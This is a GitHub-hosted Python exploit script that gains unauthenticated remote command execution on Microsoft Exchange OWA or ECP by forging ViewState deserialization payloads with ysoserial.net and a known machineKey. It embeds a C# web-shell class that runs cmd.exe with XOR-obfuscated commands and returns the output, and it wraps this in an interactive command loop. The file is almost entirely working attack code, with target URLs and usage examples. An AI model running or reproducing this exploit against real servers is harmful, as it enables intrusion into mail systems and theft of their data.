-
Notifications
You must be signed in to change notification settings - Fork 114
/
ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py
144 lines (120 loc) · 5.53 KB
/
ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
# Python3
import requests
import sys
import os
import urllib3
urllib3.disable_warnings()
import urllib.parse
#The version of ysoserial.net should be greater than 1.32
ysoserial_path = os.path.abspath(os.path.dirname(__file__))+"/ysoserial.net/"
def ysoserial(cmd):
cmd = ysoserial_path+cmd
r = os.popen(cmd)
res = r.readlines()
return res[-1]
def xor(str1):
str2 = []
for i in range(len(str1)):
str2.append( chr( ord(str1[i]) ^ ord("x") ) )
return ''.join(str2)
if __name__ == '__main__':
if len(sys.argv)!=4:
note = '''
Use to test the deserializing code execution of Exchange.
From read and write permissions of Exchange files to deserializing code execution.
You should modify the machineKey in %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\<path>\\web.config to implement deserializing code execution.
<path>:owa or ecp
Note:The version of ysoserial.net should be greater than 1.32
Usage:
<url> <key> <path>
<path>: owa or ecp
eg.
{0} 192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
{1} mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
'''
print(note.format(sys.argv[0],sys.argv[0]))
sys.exit(0)
else:
targeturl = "";
generator = "";
shellPayload = '''
class E
{
static string xor(string s) {
char[] a = s.ToCharArray();
for(int i = 0; i < a.Length; i++)
a[i] = (char)(a[i] ^ 'x');
return new string(a);
}
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Form["__Value"];
cmd = xor(cmd);
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
output = xor(output);
context.Response.Write(output);
} catch (System.Exception) { }
context.Response.Flush();
context.Response.End();
}
}
''';
try:
if sys.argv[3] == "owa":
targeturl = "https://" + sys.argv[1] + "/owa/auth/errorFE.aspx";
generator = "042A94E8";
elif sys.argv[3] == "ecp":
targeturl = "https://" + sys.argv[1] + "/ecp/auth/TimeoutLogout.aspx";
generator = "277B1C2A";
else:
print("[!] Wrong input");
print("[*] TargetURL: " + targeturl)
payload_path = "shellPayload.cs"
if not os.path.exists(payload_path):
print("[*] Trying to release " + payload_path)
with open(payload_path,'w') as f:
f.write(shellPayload)
print("[*] Trying to disable ActivitySurrogateSelectorTypeCheck")
payload = """ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --validationalg="SHA1" --validationkey="{key}" --generator="{generator}" """
payload = payload.format(key=sys.argv[2], generator=generator)
out_payload = ysoserial(payload)
body = {"__VIEWSTATEGENERATOR": generator,"__VIEWSTATE": out_payload}
postData = urllib.parse.urlencode(body).encode("utf-8")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx",
"Content-Type":"application/x-www-form-urlencoded"
}
status = requests.post(url=targeturl, headers=headers, data=postData, verify=False, timeout=15)
print(status.status_code)
while True:
print("[*] Input the command:");
command = input("Command >")
if command == "exit":
sys.exit(0)
payload = """ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "shellPayload.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="{key}" --generator="{generator}" """
payload = payload.format(key=sys.argv[2], generator=generator)
out_payload = ysoserial(payload)
body = {"__VIEWSTATEGENERATOR": generator,"__VIEWSTATE": out_payload,"__Value":xor(command)}
postData = urllib.parse.urlencode(body).encode("utf-8")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx",
"Content-Type":"application/x-www-form-urlencoded"
}
status = requests.post(url=targeturl, headers=headers, data=postData, verify=False, timeout=15)
print("[*]Response code: " + str(status.status_code))
print(xor(status.text))
except Exception as e:
print("[!] Error:%s"%(e))
sys.exit(0)